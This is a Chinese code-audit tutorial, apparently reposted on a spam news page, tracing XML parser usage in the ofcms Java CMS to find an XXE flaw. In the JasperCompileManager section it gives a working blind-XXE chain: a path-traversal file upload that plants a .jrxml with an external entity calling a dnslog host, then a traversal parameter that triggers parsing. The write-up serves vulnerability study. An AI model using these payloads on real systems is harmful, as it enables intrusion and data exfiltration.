当前位置: 首页 > news >正文

大学生作业代做网站网站建设费用什么意思

大学生作业代做网站,网站建设费用什么意思,企业解决方案搞笑,昆明展示型网站开发文章目录 Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计0. 前言1. XXE代码审计【有1处】1.1. 搜索JRXmlLoader1.1.1. JRAntApiWriteTask1.1.2. JRAntUpdateTask1.1.3. TableReportContextXmlRule1.1.4. JasperCompileManager【存在漏洞】 1.2. 搜索XMLReader1.2… 文章目录 Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计0. 前言1. XXE代码审计【有1处】1.1. 搜索JRXmlLoader1.1.1. JRAntApiWriteTask1.1.2. JRAntUpdateTask1.1.3. TableReportContextXmlRule1.1.4. JasperCompileManager【存在漏洞】 1.2. 搜索XMLReader1.2.1. DTMManagerDefault1.2.2. IncrementalSAXSource\_Xerces1.2.3. IncrementalSAXSource\_Filter1.2.4. XMLReaderManager1.2.5. CoroutineParser 1.3. 搜索SAXBuilder1.4. 搜索SAXReader1.5. 搜索SAXParserFactory1.5.1. SynthParser1.5.2. ResolvingParser1.5.3. Process1.5.4. SAXCatalogReader1.5.5. AndroidFontFinder1.5.6. JRPrintXmlLoader 1.6. 搜索Digester1.6.1. JRXmlLoader1.6.2. JRPrintXmlLoader1.6.3. JRXmlTemplateLoader 1.7. 搜索DocumentBuilderFactory1.7.1. DTMManagerDefault1.7.2. DOMCatalogReader Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计 0. 前言 我发现很多文章包括教程大概套路是只说有漏洞的点将有漏洞的点指出然后分析代码或者黑盒测试出漏洞之后然后分析代码。 我认为这是在分析漏洞代码而非代码审计。代码审计文章或教程应该是从0开始找到漏洞所在包括思路 所以这里不管有没有漏洞我都会把审计过程写出来因此篇幅会很长但我认为这样对你会很有帮助。 知其然亦知所以然。 由于篇幅较长因此我会分几篇进行本篇是整个系列的第4篇讲解1个内容 XXE漏洞审计 本系列文章 Java代码审计篇 | ofcms系统审计思路讲解 - 篇1 | 环境搭建、路由机制Java代码审计篇 | ofcms系统审计思路讲解 - 篇2 | SQL注入漏洞审计Java代码审计篇 | ofcms系统审计思路讲解 - 篇3 | 文件上传漏洞审计Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计 搭建好环境确定好项目结构之后按我思路是应该审计项目所使用框架漏洞的这里关于框架漏洞就放最后篇章来说了我们先了解下基础漏洞的审计~ 文章中有错误点或者思路上有什么问题的欢迎师傅们留言指出~ 1. XXE代码审计【有1处】 XXE代码审计常搜索的关键字如下 XMLReader SAXBuilder SAXReader SAXParserFactory Digester DocumentBuilderFactory ...还有一个特殊的用于加载.jrxml 文件这是 JasperReports 特定的 XML 格式用于定义报告模板。 JRXmlLoader1.1. 搜索JRXmlLoader 当然这样搜比较慢而且有很多重复的这里有个小技巧可以搜到JRXmlLoader之后然后Find UsagesAltF7然后找到Usage in import查看哪些类有导入JRXmlLoader。 概涉及的类有 JRAntApiWriteTask JRAntUpdateTask TableReportContextXmlRule JasperCompileManager JasperDesignCache JRDesignViewer ...挨个查看一下需要找解析jrxml文件的代码以及对应方法的调用情况 这里有个小技巧因为这些类都是导入的jar包内部的这说明不是每个类和方法都会被使用到 与之不同的则是项目自己写的类和方法一般都会被用到。 因此我们可以先查找类中方法的调用确定有没有使用到没有使用到就不用管了这样可以节省大量的时间。 1.1.1. JRAntApiWriteTask 进到JRAntApiWriteTask类中之后在本类中同样搜索JRXmlLoader查看哪些位置使用了JRXmlLoader 可以看到代码中使用了JRXmlLoader.load(srcFileName)这里调用了.load()方法这是JRXmlLoader加载jrxml文件的方式。 其中这段代码是在writeApi()方法中被调用。 接下来的思路是先查找writeApi()方法的调用情况原因前面已经说了 可以看到同类下的execute()方法对其有调用但是通过查找execute()的调用发现并没有被使用。因此此处就不需要再往下进行了。 1.1.2. JRAntUpdateTask 进到JRAntUpdateTask类中之后在本类中同样搜索JRXmlLoader查看哪些位置使用了JRXmlLoader以及方法的调用情况 和JRAntApiWriteTask类中的情况一样execute()没有被调用不用管了。 1.1.3. TableReportContextXmlRule 这个类虽然导入了JRXmlLoader但是没有调用.load()方法所以也不用管了 1.1.4. JasperCompileManager【存在漏洞】 这个类中的方法很多很多方法都用到了JRXmlLoader 我们应该怎么定位呢 想一下我们在干嘛是不是在寻找XXE漏洞回想XXE原理其中前提是代码需要解析xmljrxml文件才可能有漏洞如果是生成xml文件是不是就不用管了。 因此我们需要定位到解析xmljrxml文件的地方。 在JRXmlLoader中解析使用的是load()方法因此我们可以在当前类中搜索.load(发现定位到了5个位置 来详细看一下 分析一下代码方法之间进行了互相调用当然也调用了除了上述方法之外的方法。 下面我用调用图展示一下 这三个调用链都涉及到了load()方法因此都有可能存在XXE漏洞。 接下来看每个调用链最上层的方法是怎么调用的也就是找参数sourceFileName从哪来的三个方法分别如下通过Find Usages/AltF7查询 compileReportToFile()方法没有被调用即该方法没有触发不用管了~ 第1个compile(String sourceFileName)方法被当前类的compileReport(String sourceFileName)方法调用 第2个compile(InputStream inputStream)方法被当前类的compileReport(InputStream inputStream)方法调用 compileReportToStream()方法没有被调用即该方法没有触发不用管了~ 目前只需要关注其中两个就好 1ompileReport(String sourceFileName)2compileReport(InputStream inputStream) 继续查看其调用关系其中compileReport(InputStream inputStream)存在调用ompileReport(String sourceFileName)没有被调用。 定位到compileReport(InputStream inputStream)的调用位置查看源码 ReprotAction类的expReport()方法将其调用。 并且ReprotAction类上存在一个Action(path /reprot)注解也就是说这里可以被前端请求触发执行。 触发该expReport()方法的接口为/admin/reprot/expReport.json 那么接下来做两件事 1确定传参有无过滤2触发接口进行漏洞测试 从下面这段代码可以看出compileReport(new FileInputStream(file))的file是从/WEB-INF/jrxml/ jrxmlFileName .jrxml获取的.jrxml文件而具体什么文件由前端传递的“j”参数决定。 简单来说就是在/WEB-INF/jrxml/目录下寻找“j”参数指定的.jrxml文件进行jrxml文件的解析。 并从调用链看出整个过程没有对文件进行过滤包括也没有禁止解析外部实体默认可以解析外部实体。 调用链如下 expReport()-compileReport()-compile()-JRXmlLoader.load()所以这里是存在XXE漏洞的。 那这样的话我们只需要保证前端触发/admin/reprot/expReport.json接口时传递“j”参数指定的.jrxml文件中存在恶意外部实体就可以实现漏洞利用。 这里还有一个问题“j”参数指定的.jrxml文件是在/WEB-INF/jrxml/目录下这里我们是不可控的因此怎么让ta能够加载一个存在恶意外部实体的.jrxml文件呢 这里只能结合前面的文件上传漏洞写入恶意.jrxml来实现XXE漏洞的利用如果这里不存在文件上传漏洞这里无法利用。 接下来尝试利用一下这里没有回显使用盲XXE方式 1通过文件上传漏洞上传一个带有恶意外部实体的.jrxml文件。 file_name../../../static/exp.jrxml file_content%3C%3Fxmlversion%3D%221.0%22encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPEroot%5B%3C%21ENTITY%25expSYSTEM%22http%3A%2F%2Fxzlxvdibrb.iyhc.eu.org%22%3E%25exp%3B%5D%3E file_content解码如下 ?xml version1.0 encodingUTF-8?!DOCTYPE root [!ENTITY % exp SYSTEM http://xzlxvdibrb.iyhc.eu.org%exp;]2触发/admin/reprot/expReport.json接口 根据功能和接口可以定位到功能为止用户管理-导出全部 点击“导出全部”抓包修改参数 j../../static/exp可以看到请求dnslog成功 1.2. 搜索XMLReader 注释忽略不看剩余的大概涉及的类有 DTMManagerDefault IncrementalSAXSource_Xerces IncrementalSAXSource_Filter XMLReaderManager 下面是接口 CoroutineParser 每个都大概看一下找方法的调用情况及解析xml文件的相关方法比如parse()等 XMLReader的使用链为 XMLReader.parse()1.2.1. DTMManagerDefault 这个调用链非常的长一般超过3个我都不会去审计了因为ta有可能是组件内部使用的有兴趣的师傅可以自行追一下方法调用链说不定有组件0day哦~ 1.2.2. IncrementalSAXSource_Xerces 该类中不存在解析xml文件的代码故忽略 1.2.3. IncrementalSAXSource_Filter 此类中存在解析xml文件的代码 接下来追踪其方法调用及参数传递 run()方法的调用很多 但是存在一个问题parse()方法所需的参数并不是run()方法传递进来的。 因此接下来从参数传递进行分析看是否可控 可以看到该参数是startParse(InputSource source)方法传入接下来追踪下该方法 有两个类中调用了该方法一个DTMManagerDefault一个IncrementalSAXSource_Xerces 1.2.4. XMLReaderManager 疲倦了师傅们自己追追吧~ 1.2.5. CoroutineParser 疲倦了师傅们自己追追吧~ 1.3. 搜索SAXBuilder 不存在SAXBuilder。 1.4. 搜索SAXReader 搜索SAXReader之后进入类之后发现所搜到的都是变量名 并不是SAXReader对象而是SAXCatalogReader类对象没有解析xml文件的代码所以不需要再看了。 SAXCatalogReader 是一个与 XML 解析相关的概念主要用于处理 XML 文档中的外部实体引用。它通常与 XML 解析器一起使用以解决 DTDDocument Type Definition或 XML 实体的重定向问题。通过配置 SAXCatalogReader可以在解析 XML 文档时指定特定的目录文件从而控制对外部资源的访问。 1.5. 搜索SAXParserFactory SAXParserFactory的使用链为 SAXParserFactory.newInstance().newSAXParser().parse()所以在搜索到的类中搜索.parse(如果有的话则存在解析xml不存在则没有。 这里交给大家一个小技巧使用正则表达式搜索包含SAXParserFactory且包含.parse(的java类 (SAXParserFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(SAXParserFactory) 通过搜索可以定位到比较精确的java类 设计到的类有 SynthParser ResolvingParser Process SAXCatalogReader AndroidFontFinder JRPrintXmlLoader 1.5.1. SynthParser 追踪一下parse()的调用发现存在 继续追踪load()发现只在注释中出现没有其他调用了那就不用管了。 1.5.2. ResolvingParser 这个类搜索到的parse并不是用来解析xml文件的所以忽略 1.5.3. Process 该类中存在解析xml文件的代码 该段代码存在的方法为_main()但并未有调用因此忽略 1.5.4. SAXCatalogReader 该类中存在解析xml文件的代码 追踪下readCatalog()方法的调用这个时候会发现方法的调用链很长。此时也要结合参数的来源一同分析。 tips方法的调用链很长没完没了其实这里差不多可以放弃了如果是项目代码中真正用到了代用链不会过长当然也不一定只是经验之谈。 当然你可以继续查看调用链说不定会存在组件0day。 这里其实也可以结合参数来一起分析参数可能在方法调用链的某个中间位置就确定了那就不需要分析这么长的调用链了。 通过分析方法调用和参数传递主要分为两种情况 readCatalog()方法的调用一部分来自其他类中readCatalog()方法而这些方法并没有再被调用所以没有被使用因此这部分忽略见下图红框处 剩下的就是parseCatalog()方法了 其中parseCatalog(URL aUrl)无调用 其中parseCatalogFile(String fileName)调用链比较长但是参数在该方法中就确定了 不是可控的不用管了。 最后的parseCatalog(String mimeType, InputStream is) 还得继续追踪其调用 追踪到queryResolver()方法其参数也是不可控的忽略。 SAXCatalogReader的分析到此为止。 1.5.5. AndroidFontFinder 该类中存在解析xml文件的代码 其中参数来源为parseSystemDefaultFonts()方法追踪该方法的调用 存在两个但是parseSystemDefaultFonts()方法所需参数并不是从这两个方法传入的因此在这两个方法内部就确定了parseSystemDefaultFonts()方法所需参数即最终parse()方法的参数。 那么分析一下 这里可以看出这个参数是固定不可控的因此忽略另一个方法内部也是如此因此也忽略。 1.5.6. JRPrintXmlLoader 该类中存在解析xml文件的代码 其方法为loadXML(InputStream is)追踪方法调用 但是追踪其方法调用发现最上层方法并没有被调用截图略其中调用链为 load(String sourceFileName) loadFromFile(String sourceFileName) loadFromFile(JasperReportsContext jasperReportsContext, String sourceFileName)loadXML(InputStream is)digester.parse(is)还有一个调用链为 RViewer(String fileName, boolean isXML, Locale locale) JRViewer(String fileName, boolean isXML, Locale locale, ResourceBundle resBundle) JRViewer(JasperReportsContext jasperReportsContext,String fileName, boolean isXML, Locale locale, ResourceBundle resBundle) loadReport(String fileName, boolean isXmlReport)loadXML(InputStream is)digester.parse(is)不管哪个调用链其最上层方法都没有被调用因此忽略。 1.6. 搜索Digester Digester的使用链为 Digester.parse()所以在搜索到的类中搜索.parse(如果有的话则存在解析xml不存在则没有。 使用正则表达式搜索包含Digester且包含.parse(的java类 (Digester(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(Digester) 通过搜索可以定位到比较精确的java类 涉及的类有 JRXmlLoader JRPrintXmlLoader JRXmlTemplateLoader 1.6.1. JRXmlLoader 该类中的loadXML()方法没有被调用忽略 1.6.2. JRPrintXmlLoader 该类中的loadXML()方法没有被调用忽略 1.6.3. JRXmlTemplateLoader 该类中的loadTemplate()方法没有被调用忽略 1.7. 搜索DocumentBuilderFactory DocumentBuilderFactory的使用链为 DocumentBuilderFactory.newInstance().parse(new InputSource(new StringReader(xxx)))所以在搜索到的类中搜索.parse(如果有的话则存在解析xml不存在则没有。 使用正则表达式搜索包含DocumentBuilderFactory且包含.parse(的java类 (DocumentBuilderFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(DocumentBuilderFactory) 通过搜索可以定位到比较精确的java类 涉及到的类有 DTMManagerDefault DOMCatalogReader XMLParserImpl Process TransformerImpl XPathExpressionImpl Metacity JRXmlDocumentProducer JRXmlUtils JRStyledTextParser SimpleFontExtensionHelper MapFillComponent FillPlaceItem XmlSupport 接下来思路一下查看每个类中相关代码 parse是不在解析xml文件其相关方法的调用关系解析的xml文件参数是否可控有无过滤、禁止解析外部DTD 1.7.1. DTMManagerDefault 之前遇到过忽略。 1.7.2. DOMCatalogReader 该类中存在解析xml文件的代码 其方法为readCatalog(Catalog catalog, InputStream is)追踪方法调用。 剩下的不想追了累了~ 有兴趣的师傅可以自己每个都追下这样就不会漏了祝各位师傅天天出0day。 有好的技巧、好的思路的师傅也可以共享下思路互相学习~~么么哒
http://www.dnsts.com.cn/news/121862.html

相关文章:

  • 网站建设方案对比网络媒体设计是什么
  • 杭州网站建设的企业优化建立生育支持政策体系
  • 做优化网站多少钱做网站还是软件
  • 酒店网站设计的目的和意义山东已经宣布封城的城市2022年
  • 微信做网站的公司网络营销系统
  • 搜建筑网建筑规范大全电脑优化大师下载安装
  • 十大知名博客网站如何加强网站信息管理建设
  • 一次性筷子网站建设短网址还原在线生成
  • 河南百度建个网站网页设计制作网站用什么软件
  • 做的比较好的家具网站首页经典网站建设
  • 做企业展示型网站的好处手机qq浏览器网页搜索记录删不掉
  • 公司网站策划书长沙网站开发哪家好
  • 网站建设的栏目内容是网站添加搜索
  • 一个公司设计网站怎么做网站制作怎么学
  • 网站建设学习哪家专业机电工程栏建设项目网站建设
  • 无锡网站网页设计有什么网站可以做投票功能
  • app开发公司选择技巧seo网站课程
  • 中铁建设集团华东分公司网站在北京做家教的网站
  • vue快速搭建网站wordpress 国人 原创 主体
  • 网站维护属于什么部门洛阳网站建设价格
  • 全能网站建设完全自学手册青岛网站建设铭盛信息
  • 住房和城乡建设部网站第九批文山网站建设联系电话
  • 网站建设选哪个公司朋友说做网站什么的怎么赚钱
  • 网站模版制作jsp网站怎么做邮箱验证码
  • 网站空间2G一年多少钱宝安网站制作培训
  • 网站开发图片加载过慢如何优化做我的世界壁纸网站
  • 网站建设 需求调研有那些网站做平面设计订单
  • 网站开发工作流程每天稳定赚50以上的手游
  • 网站规划的基本内容不包括市场营销案例分析
  • 工厂的网站在哪里做的wordpress手机验证码登录